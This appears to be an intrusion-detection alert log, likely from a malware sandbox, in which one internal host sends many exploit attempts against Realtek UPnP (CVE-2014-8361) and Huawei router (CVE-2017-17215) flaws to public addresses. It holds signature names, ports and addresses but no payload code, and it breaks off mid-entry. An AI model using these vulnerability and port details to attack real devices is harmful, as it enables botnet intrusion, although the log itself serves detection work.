Timestamp:	07/20/24-23:01:34.920034
SID:	2027339
Source Port:	58676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 118.185.55.220

Timestamp:	07/20/24-23:01:25.301172
SID:	2025132
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.37.183

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	35436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.41.26.77

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	34602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 89.251.44.55

Timestamp:	07/20/24-23:01:34.685918
SID:	2027339
Source Port:	55730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.112.129.130

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	54120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.104.173.17

Timestamp:	07/20/24-23:01:05.911930
SID:	2829579
Source Port:	55142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.27.5

Timestamp:	07/20/24-23:01:28.196415
SID:	2829579
Source Port:	36600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.203.181

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	43712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 23.185.180.14

Timestamp:	07/20/24-23:01:22.862534
SID:	2027339
Source Port:	50534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 203.116.243.30

Timestamp:	07/20/24-23:01:30.986774
SID:	2027339
Source Port:	46482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.254.233.192

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	49854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.243.5.48

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	54416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.107.84

Timestamp:	07/20/24-23:01:22.786757
SID:	2829579
Source Port:	48482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.244.140

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	43986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.100.55

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	44260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.192.212.1

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	38404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.224.141.14

Timestamp:	07/20/24-23:01:13.333076
SID:	2831300
Source Port:	47228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 40.180.122.90

Timestamp:	07/20/24-23:01:05.773628
SID:	2025132
Source Port:	44526
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 74.231.66.1

Timestamp:	07/20/24-23:01:06.216684
SID:	2025132
Source Port:	41774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.131.170

Timestamp:	07/20/24-23:01:25.288927
SID:	2835222
Source Port:	36914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 117.199.176.147

Timestamp:	07/20/24-23:01:13.333076
SID:	2027339
Source Port:	41730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.143.61

Timestamp:	07/20/24-23:01:33.070886
SID:	2829579
Source Port:	32990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.212.227

Timestamp:	07/20/24-23:01:22.784106
SID:	2829579
Source Port:	60936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.117.197.118

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	56428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.75.252.43

Timestamp:	07/20/24-23:01:02.412914
SID:	2829579
Source Port:	35314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 101.191.129.126

Timestamp:	07/20/24-23:01:13.330072
SID:	2831300
Source Port:	34968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.15.112

Timestamp:	07/20/24-23:01:05.927305
SID:	2829579
Source Port:	38678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 45.184.153.75

Timestamp:	07/20/24-23:01:32.812681
SID:	2025132
Source Port:	49472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.89.230

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	39542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.58.12

Timestamp:	07/20/24-23:01:05.912005
SID:	2835222
Source Port:	38228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 207.154.52.96

Timestamp:	07/20/24-23:01:25.489348
SID:	2025132
Source Port:	39094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.20.90.81

Timestamp:	07/20/24-23:01:33.382308
SID:	2027339
Source Port:	33694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 168.236.58.106

Timestamp:	07/20/24-23:01:13.332899
SID:	2831300
Source Port:	55020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.6.111.127

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	53190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.78.123

Timestamp:	07/20/24-23:01:14.397956
SID:	2829579
Source Port:	54992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.40.93.165

Timestamp:	07/20/24-23:01:02.408597
SID:	2835222
Source Port:	60734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.69.237.0

Timestamp:	07/20/24-23:01:05.542205
SID:	2025132
Source Port:	54374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.146.147

Timestamp:	07/20/24-23:01:19.225050
SID:	2829579
Source Port:	42398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.62.151.34

Timestamp:	07/20/24-23:01:25.282553
SID:	2829579
Source Port:	43978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 146.178.29.63

Timestamp:	07/20/24-23:01:05.533350
SID:	2025132
Source Port:	35510
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 64.213.179.125

Timestamp:	07/20/24-23:01:05.776042
SID:	2025132
Source Port:	37992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 188.154.109.67

Timestamp:	07/20/24-23:01:13.331934
SID:	2027339
Source Port:	46390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.237.244

Timestamp:	07/20/24-23:01:37.120918
SID:	2835222
Source Port:	45242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.95.27.148

Timestamp:	07/20/24-23:01:02.410541
SID:	2835222
Source Port:	53792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.221.76.168

Timestamp:	07/20/24-23:01:25.281671
SID:	2835222
Source Port:	59398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 90.38.224.171

Timestamp:	07/20/24-23:01:34.927371
SID:	2831300
Source Port:	60388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 166.99.130.21

Timestamp:	07/20/24-23:01:19.224455
SID:	2829579
Source Port:	55106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.170.112.7

Timestamp:	07/20/24-23:01:33.055417
SID:	2835222
Source Port:	45028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 137.171.174.123

Timestamp:	07/20/24-23:01:24.080444
SID:	2831300
Source Port:	46312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.245.150.186

Timestamp:	07/20/24-23:01:07.668438
SID:	2835222
Source Port:	41768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.96.116.185

Timestamp:	07/20/24-23:01:05.943931
SID:	2027339
Source Port:	52456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.139.236.132

Timestamp:	07/20/24-23:01:33.059039
SID:	2835222
Source Port:	56144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.176.236.80

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	33400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 39.157.230.122

Timestamp:	07/20/24-23:01:34.915141
SID:	2831300
Source Port:	38052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 218.196.239.193

Timestamp:	07/20/24-23:01:34.952293
SID:	2027339
Source Port:	32922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 135.98.136.137

Timestamp:	07/20/24-23:01:25.227766
SID:	2025132
Source Port:	39352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 80.229.248.142

Timestamp:	07/20/24-23:01:24.997585
SID:	2027339
Source Port:	49562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 146.184.254.182

Timestamp:	07/20/24-23:01:29.172029
SID:	2831300
Source Port:	58488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 43.140.238.166

Timestamp:	07/20/24-23:01:29.179619
SID:	2831300
Source Port:	60338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.97.111

Timestamp:	07/20/24-23:01:25.232532
SID:	2835222
Source Port:	53936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 118.185.55.220

Timestamp:	07/20/24-23:01:29.204277
SID:	2831300
Source Port:	39460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.68.172

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	48218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.201.182.108

Timestamp:	07/20/24-23:01:37.171010
SID:	2835222
Source Port:	51518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 52.221.200.218

Timestamp:	07/20/24-23:01:25.002701
SID:	2025132
Source Port:	47890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 186.224.19.191

Timestamp:	07/20/24-23:01:24.078416
SID:	2027339
Source Port:	46158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 67.242.247.76

Timestamp:	07/20/24-23:01:07.672387
SID:	2835222
Source Port:	37058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.115.1.213

Timestamp:	07/20/24-23:01:02.410932
SID:	2829579
Source Port:	40186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.41.90.82

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	38882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.72.128

Timestamp:	07/20/24-23:01:05.895934
SID:	2829579
Source Port:	36412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 207.107.95.51

Timestamp:	07/20/24-23:01:06.123009
SID:	2025132
Source Port:	46984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.165.104.213

Timestamp:	07/20/24-23:01:02.407178
SID:	2829579
Source Port:	48840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.175.29.238

Timestamp:	07/20/24-23:01:37.122769
SID:	2835222
Source Port:	37652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.117.19.131

Timestamp:	07/20/24-23:01:19.222257
SID:	2835222
Source Port:	41558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 90.146.163.93

Timestamp:	07/20/24-23:01:06.650057
SID:	2027339
Source Port:	55368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.253.51.117

Timestamp:	07/20/24-23:01:33.655350
SID:	2027339
Source Port:	42590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 183.15.201.247

Timestamp:	07/20/24-23:01:34.964842
SID:	2831300
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.207.13.167

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	60386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.53.220.181

Timestamp:	07/20/24-23:01:22.796666
SID:	2829579
Source Port:	49514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.3.40.6

Timestamp:	07/20/24-23:01:28.211361
SID:	2829579
Source Port:	60326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 190.210.219.152

Timestamp:	07/20/24-23:01:23.038662
SID:	2025132
Source Port:	60336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 165.240.21.199

Timestamp:	07/20/24-23:01:13.331147
SID:	2831300
Source Port:	45386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 77.65.52.12

Timestamp:	07/20/24-23:01:07.668267
SID:	2835222
Source Port:	44592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.117.250.24

Timestamp:	07/20/24-23:01:19.252785
SID:	2835222
Source Port:	43978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.156.221.195

Timestamp:	07/20/24-23:01:07.666600
SID:	2829579
Source Port:	37762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.3.207

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	60770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 99.58.61.9

Timestamp:	07/20/24-23:01:05.782973
SID:	2025132
Source Port:	43462
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.150.14.115

Timestamp:	07/20/24-23:01:28.170987
SID:	2835222
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.200.124.66

Timestamp:	07/20/24-23:01:05.900314
SID:	2829579
Source Port:	48024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.225.116

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 68.93.103.227

Timestamp:	07/20/24-23:01:13.329660
SID:	2027339
Source Port:	43930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.184.179.223

Timestamp:	07/20/24-23:01:14.398934
SID:	2835222
Source Port:	57044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.193.91

Timestamp:	07/20/24-23:01:19.335605
SID:	2835222
Source Port:	43430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 97.182.119.204

Timestamp:	07/20/24-23:01:06.626517
SID:	2025132
Source Port:	59690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.118.16.49

Timestamp:	07/20/24-23:01:19.335313
SID:	2829579
Source Port:	48220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.106.212.23

Timestamp:	07/20/24-23:01:29.170017
SID:	2027339
Source Port:	50208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 69.185.156.127

Timestamp:	07/20/24-23:01:34.945581
SID:	2027339
Source Port:	35964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.47.87.238

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	54792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 222.183.144.227

Timestamp:	07/20/24-23:01:34.909156
SID:	2831300
Source Port:	44968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 177.26.169.251

Timestamp:	07/20/24-23:01:13.329423
SID:	2831300
Source Port:	48140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.33.66

Timestamp:	07/20/24-23:01:22.769838
SID:	2829579
Source Port:	42300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.157.73.197

Timestamp:	07/20/24-23:01:24.078342
